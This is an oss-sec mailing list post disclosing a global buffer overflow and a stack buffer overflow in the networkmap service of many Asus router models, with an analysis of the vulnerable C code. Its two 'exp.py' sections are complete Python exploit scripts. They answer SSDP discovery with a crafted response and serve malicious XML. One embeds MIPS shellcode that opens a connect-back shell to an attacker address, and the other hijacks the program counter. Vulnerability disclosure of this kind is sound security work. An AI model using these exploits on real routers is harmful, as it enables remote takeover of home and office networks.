oss-sec mailing list archives
Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap
From: "????????????" <598930392 () qq com>
Date: Wed, 12 Jul 2017 15:52:16 +0800
============================================================= Global buffer overflow ============================================================= [Vulnerability]: Global buffer overflow in networkmap ------------------------------------------ [Exploitation]: Can write data at any address in heap ------------------------------------------ [Vendor of Product]: Asus wireless router ------------------------------------------ [Affected Products and firmware version]: Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6 RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC88U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC58U ,all the firmware,and the latest firmware is 3.0.0.4.380.7485 RT-AC56U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC55U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-AC52U ,all the firmware,and the latest firmware is 3.0.0.4.380.4180 RT-AC51U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N18U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-N66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N56U ,all the firmware,and the latest firmware is 3.0.0.4.378.7177 RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577 RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167 RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-AC53 ,all the firmware,and the latest firmware is 3.0.0.4.380.9883 RT-N12HP ,all the firmware,and the latest firmware is 3.0.0.4.380.2943 RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479 RT-N12D1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N12+ ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-N16 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 ------------------------------------------ [Attack Type]: Remote ------------------------------------------ [Can Cause Denial of Service?]: yes ------------------------------------------ [Reference]: https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032 http://asuswrt.lostrealm.ca/ https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/ (chose the others can download the firmware sourcecode) https://www.asus.com/Networking/Wireless-Routers-Products/ ------------------------------------------ [Discoverer]: Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/ ------------------------------------------ [Affected components]: Affected executable application: networkmap Affected source code file: \release\src\router\networkmap\function.c Affected function: store_description(char *msg) ------------------------------------------ [Vulnerability description]: When the function process_device_repsonse of networkmap is parsing the SSDP answer from a device and the SSDP answer has indicated the location like: HTTP/1.1 200 OK Location:HTTP://host:port/path If the "HTTP://host:port/path" is valid, the networkmap will get the device descirption xml by accessing "HTTP://host:port/path",and it will use the function store_description to store the device descirption information to global sturct device_info. In the function store_description,there's no limit to the variable s_num, so that it can cause the global sturct device_info overflow when copy the data from tmp to description.service[s_num].url . ------------------------------------------ [Vulnerability details]: In the \release\src\router\networkmap\function.c, It define the global struct device_info description and the function store_description: ... struct device_info description; ... void store_description(char *msg) { ... int s_num = 0; ... while( p!= NULL && p < body) { ... switch(type) { ... case 7: strlcpy(description.service[s_num].url, tmp, sizeof(description.service[s_num].url)); NMP_DEBUG_F("service %d url = %s\n", s_num, tmp); s_num++; break; } } ... } You can see that the s_num variable is incremented in case 7, But in the while( p!= NULL && p < body),it never check the s_num variable. And in the \release\src\router\networkmap\networkmap.h,it define the struct device_info: ... #define LINE_SIZE 200 #define SERVICE_NUM 10 struct service { char name[LINE_SIZE]; char url[LINE_SIZE]; }; struct device_info { char friendlyname[LINE_SIZE]; char manufacturer[LINE_SIZE]; char description[LINE_SIZE]; char modelname[LINE_SIZE]; char modelnumber[LINE_SIZE]; char presentation[LINE_SIZE]; struct service service[SERVICE_NUM]; int service_num; }; Because SERVICE_NUM = 10,so,in the case 7 which in the function store_description, when the s_num variable has be incremented and the s_num > 10, the data copy to struct device_info description.service[s_num].url will overflow. ------------------------------------------ [Exploitation details]: When the networkmap get the device descirption xml by accessing "HTTP://host:port/path", we can respond a device descirption xml like: <?xml><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL><><SCPDURL>shellcode<></root> the shellcode will be written to the memory that out of the global struct device_info description. And then,because the memory maps for networkmap is: admin@RT-N12HP_B1:/# cat /proc/$(pidof networkmap)/maps 00400000-0040a000 r-xp 00000000 1f:02 104 /usr/sbin/networkmap 0041a000-0041b000 rw-p 0000a000 1f:02 104 /usr/sbin/networkmap 0041b000-00420000 rwxp 0041b000 00:00 0 [heap] 2aaa8000-2aaae000 r-xp 00000000 1f:02 733 /lib/ld-uClibc.so.0 2aaae000-2aaaf000 rw-p 2aaae000 00:00 0 2aab0000-2aab6000 rw-s 00000000 00:07 0 /SYSV000003e9 (deleted) 2aab6000-2aaba000 rw-s 00000000 00:07 32769 /SYSV000003ea (deleted) 2aabd000-2aabe000 r--p 00005000 1f:02 733 /lib/ld-uClibc.so.0 2aabe000-2aabf000 rw-p 00006000 1f:02 733 /lib/ld-uClibc.so.0 2aabf000-2aaeb000 r-xp 00000000 1f:02 164 /usr/lib/libshared.so 2aaeb000-2aafa000 ---p 2aaeb000 00:00 0 2aafa000-2aafe000 rw-p 0002b000 1f:02 164 /usr/lib/libshared.so 2aafe000-2ab0f000 rw-p 2aafe000 00:00 0 2ab0f000-2ab11000 r-xp 00000000 1f:02 235 /usr/lib/libnvram.so 2ab11000-2ab21000 ---p 2ab11000 00:00 0 2ab21000-2ab22000 rw-p 00002000 1f:02 235 /usr/lib/libnvram.so 2ab22000-2ab30000 r-xp 00000000 1f:02 732 /lib/libgcc_s.so.1 2ab30000-2ab40000 ---p 2ab30000 00:00 0 2ab40000-2ab41000 rw-p 0000e000 1f:02 732 /lib/libgcc_s.so.1 2ab41000-2ab79000 r-xp 00000000 1f:02 728 /lib/libc.so.0 2ab79000-2ab89000 ---p 2ab79000 00:00 0 2ab89000-2ab8a000 rw-p 00038000 1f:02 728 /lib/libc.so.0 2ab8a000-2ab8e000 rw-p 2ab8a000 00:00 0 2ab8e000-2ab96000 r--s 00000000 00:0b 297 /dev/nvram 7fc20000-7fc35000 rwxp 7fc20000 00:00 0 [stack] 7fff7000-7fff8000 r-xp 7fff7000 00:00 0 [vdso] Both the Program address and the Heap address are not randomized and Continuous. So when the global struct device_info overflow ,the shellcode could be write to the heap ,and the shellcode address in the heap is fixed and Controllable. ------------------------------------------ [exp.py]: # Tested product and firmware version: # RT-N12HP_B1 (3.0.0.4.380.3479) # coding=utf-8 ROUTER_IP = '192.168.2.1' #asus wireless router ip IP = '192.168.2.31' #attacker ip INTERACE = 'eth0' #attacker host network interface CONNECTBACK_IP = '192.168.2.31' #the host ip use for connectback shell shellcode #the default connectback port is 30583 import time import socket import sys import os import threading import socketserver sc = '<?xml><SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += '<>' sc += '<SCPDURL>' sc += b'\xff\xff\x04\x28' sc += b'\xbb\x0f\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\xfa\xff\x0f\x24' sc += b'\x27\x78\xe0\x01' sc += b'\xfd\xff\xe4\x21' sc += b'\xfd\xff\xe5\x21' sc += b'\xff\xff\x06\x28' sc += b'\x57\x10\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\xff\xff\xa2\xaf' sc += b'\xff\xff\xa4\x8f' sc += b'\xfd\xff\x11\x24' sc += b'\x27\x88\x20\x02' sc += b'\xe2\xff\xb1\xa7' sc += b'\x77\x77\x0e\x24' sc += b'\xe4\xff\xae\xa7' sc += socket.inet_aton(CONNECTBACK_IP)[0] + socket.inet_aton(CONNECTBACK_IP)[1] + b'\x0e\x34' sc += b'\xe6\xff\xae\xa7' sc += socket.inet_aton(CONNECTBACK_IP)[2] + socket.inet_aton(CONNECTBACK_IP)[3] + b'\x0e\x24' sc += b'\xe8\xff\xae\xa7' sc += b'\xe2\xff\xa5\x27' sc += b'\xef\xff\x0c\x24' sc += b'\x27\x30\x80\x01' sc += b'\x4a\x10\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\x21\x28\x20\x02' sc += b'\xdf\x0f\x02\x24' sc += b'\x0c\x01\x01\x01' sc += b'\xff\xff\x10\x24' sc += b'\xff\xff\x31\x22' sc += b'\xfa\xff\x30\x16' sc += b'\xff\xff\x06\x28' sc += b'\x2f\x2f\x0f\x24' sc += b'\xec\xff\xaf\xa7' sc += b'\x62\x69\x0f\x24' sc += b'\xee\xff\xaf\xa7' sc += b'\x6e\x2f\x0e\x24' sc += b'\xf0\xff\xae\xa7' sc += b'\x73\x68\x0e\x24' sc += b'\xf2\xff\xae\xa7' sc += b'\xf4\xff\xa0\xaf' sc += b'\xec\xff\xa4\x27' sc += b'\xf8\xff\xa4\xaf' sc += b'\xfc\xff\xa0\xaf' sc += b'\xf8\xff\xa5\x27' sc += b'\xab\x0f\x02\x24' sc += b'\x0c\x01\x01\x01' sc += '<></root>' def mac(): os.system('macchanger -A {}'.format(INTERACE)) os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP)) class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler): def handle(self): print('[-] got shellcode request') self.request.recv(1024) print("[-] sending shellcode") self.request.send(sc) class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass socketserver.TCPServer.allow_reuse_address = True server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler) t = threading.Thread(target=server.serve_forever) t.start() print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction") addrinfo = socket.getaddrinfo('239.255.255.250', None)[0] s = socket.socket(addrinfo[0], socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('239.255.255.250', 1900)) s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0')) mac() times = 0 state = 'Overflow' while True: data, sender = s.recvfrom(1500) if sender[0] == ROUTER_IP and sender[1] == 1008: print("[-] received SSDP M-SEARCH Package") data = {} data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/A\r\n\r\n' sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.sendto(data[state], sender) if state == 'Overflow': print("[-] Send the GetXmlRequest to router") time.sleep(20) os._exit(0) ============================================================= Stack buffer overflow ============================================================= [Vulnerability]: Stack buffer overflow in networkmap ------------------------------------------ [Exploitation]: Can control the $pc. Together with the above Global buffer overflow vulnerability, can remote code execution and then get a connectback shell. ------------------------------------------ [Vendor of Product]: Asus wireless router ------------------------------------------ [Affected Products and firmware version]: Asuswrt-Merlin ,all the firmware and the latest firmware is 380.66_6 RT-AC5300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1900P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC68P ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC88U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC66U_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC58U ,all the firmware,and the latest firmware is 3.0.0.4.380.7485 RT-AC56U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC55U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-AC52U ,all the firmware,and the latest firmware is 3.0.0.4.380.4180 RT-AC51U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N18U ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-N66U ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N56U ,all the firmware,and the latest firmware is 3.0.0.4.378.7177 RT-AC3200 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT-AC3100 ,all the firmware,and the latest firmware is 3.0.0.4.380.7743 RT_AC1200GU ,all the firmware,and the latest firmware is 3.0.0.4.380.5577 RT_AC1200G ,all the firmware,and the latest firmware is 3.0.0.4.380.3167 RT-AC1200 ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-AC53 ,all the firmware,and the latest firmware is 3.0.0.4.380.9883 RT-N12HP ,all the firmware,and the latest firmware is 3.0.0.4.380.2943 RT-N12HP_B1 ,all the firmware,and the latest firmware is 3.0.0.4.380.3479 RT-N12D1 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N12+ ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT_N12+_PRO ,all the firmware,and the latest firmware is 3.0.0.4.380.9880 RT-N16 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 RT-N300 ,all the firmware,and the latest firmware is 3.0.0.4.380.7378 ------------------------------------------ [Attack Type]: Remote ------------------------------------------ [Can Cause Denial of Service?]: yes ------------------------------------------ [Reference]: https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/function.c#L903-L1032 http://asuswrt.lostrealm.ca/ https://www.asus.com/Networking/RTN12HP_B1/HelpDesk_Download/ (chose the others can download the firmware sourcecode) https://www.asus.com/Networking/Wireless-Routers-Products/ ------------------------------------------ [Discoverer]: Tianfeng Guan, pkav of Sichuan Silent Information Technology Company Ltd, http://www.silence.com.cn/ ------------------------------------------ [Affected components]: Affected executable application: networkmap Affected source code file: \release\src\router\networkmap\function.c Affected function: store_description(char *msg) ------------------------------------------ [Vulnerability details]: When the function process_device_repsonse of networkmap is parsing the SSDP answer from a device and the SSDP answer has indicated the location like: HTTP/1.1 200 OK Location:HTTP://host:port/path If the "HTTP://host:port/path" is valid, the networkmap will get the device descirption xml by accessing "HTTP://host:port/path",and it will use the function store_description to store the device descirption information to global sturct device_info. In the switch case 6 which in the function store_description: case 6: // tmp="urn:schemas-upnp-org:service:serviceType:v" mxend = tmp; i = 0; j = 0; while(i != 4) { if(i == 3) tmp[j++] = *mxend; if(*mxend == ':') i++; mxend++; } tmp[j-1] = '\0'; strlcpy(description.service[s_num].name, tmp, sizeof(description.service[s_num].name)); NMP_DEBUG_F("service %d name = %s\n", s_num, tmp); break; if it couldn't found the fourth ':' in the stack, the stack buffer tmp will be overflow, and this stack-based overflow can be used to gain control over networkmap??s control flow by overwriting the saved $ra stored on the stack. ------------------------------------------ [Exploitation details]: when answer the SSDP request, we can send the SSDP answer message like: 'HTTP/1.1 200 OK\r\nLocation:HTTP://192.168.2.31:1337/' + 'B'*231 + b'\x41\x41\x41:' + '\r\n\r\n' And When the networkmap get the device descirption xml by accessing "HTTP://192.168.2.31:1337/", we can respond a device descirption xml like: <?xml><serviceType>AAAA<></root> And then, after the code in case 6,the stack buffer tmp will be overflow,and the data start from stack buffer tmp will become 'B'*231 + b'\x41\x41\x41', and it lead to the $ra and $pc being set to 0x00414141. Now we can control the $pc by overwriting the saved $ra stored on the stack. For further exploitation,to get a ConnectBack shell,we can use the "Write data at any address in heap" vulnerability which also in function store_description, to write the ConnectBack shell shellcode on a fixed heap address,and then we can use this Code Execution vulnerability to let $pc be set as the ConnectBack shell shellcode address. ------------------------------------------ [exp.py]: # Tested product and firmware version: # RT-N12HP_B1 (3.0.0.4.380.3479) # coding=utf-8 ROUTER_IP = '192.168.2.1' #asus wireless router ip IP = '192.168.2.31' #attacker ip INTERACE = 'eth0' #attacker host network interface import time import socket import sys import os import threading import socketserver sc = '<?xml>' sc += '<serviceType>' sc += b'AAAA' * 49 sc += 'AA<></root>' def mac(): os.system('macchanger -A {}'.format(INTERACE)) os.system('ifconfig {} down; ifconfig {} {} up; route add default gw {};'.format(INTERACE, INTERACE, IP, ROUTER_IP)) class ThreadedHTTPRequestHandler(socketserver.BaseRequestHandler): def handle(self): print('[-] got xml request') self.request.recv(1024) print("[-] sending xml") self.request.send(sc) class ThreadedHTTPServer(socketserver.ThreadingMixIn, socketserver.TCPServer): pass socketserver.TCPServer.allow_reuse_address = True server = ThreadedHTTPServer(('0.0.0.0', 1337), ThreadedHTTPRequestHandler) t = threading.Thread(target=server.serve_forever) t.start() print("[-] Please opens a new terminal and use ping ROUTER_IP to Speed up SSDP network interaction") addrinfo = socket.getaddrinfo('239.255.255.250', None)[0] s = socket.socket(addrinfo[0], socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(('239.255.255.250', 1900)) s.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, socket.inet_aton(addrinfo[4][0]) + socket.inet_aton('0.0.0.0')) mac() times = 0 state = 'Overflow' while True: data, sender = s.recvfrom(1500) if sender[0] == ROUTER_IP and sender[1] == 1008: print("[-] received SSDP M-SEARCH Package") data = {} data['Overflow'] = b'HTTP/1.1 200 OK\r\nLocation:HTTP://' + IP.encode() + b':1337/' + 'B'*231 + b'\xe0\xbb\x41:' + '\r\n\r\n' sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) sock.sendto(data[state], sender) if state == 'Overflow': print("[-] Send the GetXmlRequest to router") time.sleep(20) os._exit(0)
Current thread:
- Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap ???????????? (Jul 12)
- Re: Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap Zach W (Jul 13)
- Re: Re: Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap 598930392 () qq com (Jul 14)
- Re: Re: Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap GbigMao (Jul 17)
- Re: Asus wireless routers Global buffer overflow and Stack buffer overflow in networkmap Zach W (Jul 13)